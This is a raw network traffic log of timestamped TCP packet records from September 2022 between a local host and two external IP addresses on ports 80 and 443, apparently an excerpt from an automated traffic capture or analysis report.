Sep 2, 2022 14:02:31.905801058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.905822992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.905834913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.905909061 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.906162024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.906181097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.906192064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.906272888 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.906725883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.906748056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.906761885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.906807899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.907068968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.907088041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.907143116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.907269001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.907288074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.907300949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.907341957 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.910370111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910525084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910651922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910779953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910798073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910809994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910829067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910845041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910859108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910876036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910887003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910895109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910906076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910917997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910924911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910932064 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.910936117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910948992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910957098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910969019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910979986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910986900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.910998106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.911010027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.911016941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.911726952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.911901951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.911957026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.911971092 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.912019968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.912077904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.912117004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.912132025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.912204027 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.912241936 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.912383080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.912441969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.912448883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.912642002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.912698984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.912708044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.912986994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913048983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913057089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913146019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913239956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913248062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913561106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913573027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913580894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913849115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913917065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.913925886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914004087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.914005041 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.914020061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914027929 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.914033890 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.914042950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914056063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914072990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914072990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.914091110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914108992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914120913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914133072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914140940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914151907 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.914153099 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.914258957 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.914937973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914958000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.914969921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915025949 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.915287018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915307045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915322065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915338993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915358067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.915369034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915380001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915395975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915401936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.915411949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915424109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915441990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.915468931 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.915672064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915695906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915709019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.915766954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.916024923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.916044950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.916055918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.916095018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.916279078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.916296959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.916347027 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.916491032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.916507959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.916553020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.916558027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.916676998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.916727066 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.918325901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918344021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918359041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918422937 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.918740034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918759108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918771982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918860912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918883085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918894053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.918895960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918911934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918929100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918934107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.918942928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918956995 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.918958902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918976068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918988943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.918993950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919003963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919015884 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919020891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919033051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919047117 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919049025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919066906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919078112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919087887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919094086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919101954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919112921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919125080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919141054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919153929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919158936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919171095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919188023 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919209003 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919321060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919342041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919373035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919394016 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919437885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919512987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919632912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919684887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919699907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919738054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919836998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919855118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919867992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.919893026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.919919014 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.920265913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.920319080 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.920732021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.920773029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.920795918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.921978951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922025919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922041893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922112942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.922127008 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.922172070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922194958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922211885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922249079 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.922411919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922538996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922557116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922611952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.922734976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922756910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922770977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922831059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.922940969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922982931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.922996044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923015118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923032045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923038960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.923043966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923059940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923073053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.923079014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923091888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923100948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.923104048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923120022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923131943 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.923135996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923154116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.923173904 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.923453093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923505068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923553944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923585892 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.923594952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.923626900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923640013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923650980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.923686028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.923722029 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.924071074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.924133062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.924149990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:31.924196005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.937256098 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.937289000 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.937438965 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.937463999 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.937517881 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.953942060 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.953990936 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.954083920 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.954112053 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.954129934 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.954157114 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.959650993 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.959760904 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:31.959770918 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:31.959800959 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.063699961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.063723087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.063735008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.063750982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.063771963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.063790083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.063821077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.063961983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.065165043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.065191984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.065207958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.065274000 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.065313101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.065336943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.065352917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.065382004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.065829992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.065855980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.065872908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.065911055 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.066287041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.066312075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.066349983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.066361904 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.066375971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.066399097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.066415071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.066426992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.066451073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.066988945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067013979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067029953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067075968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067086935 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.067135096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.067141056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067157984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067531109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067559958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067575932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067600965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.067641020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.067760944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067785978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067913055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067939043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067962885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.067970991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.067977905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.068008900 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.068078995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.068104982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.068120003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.068130016 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.068176985 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.068589926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.068614960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.068631887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.068655014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.068661928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.068681002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.068706989 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.068743944 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.069060087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069087982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069114923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069133043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069147110 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.069180965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.069288969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069315910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069436073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069461107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069485903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069494009 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.069504023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069531918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.069566011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069591999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069610119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.069617987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.069638014 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.071034908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071063995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071080923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071105957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071120024 CEST	49787	80	192.168.2.6	85.209.157.230
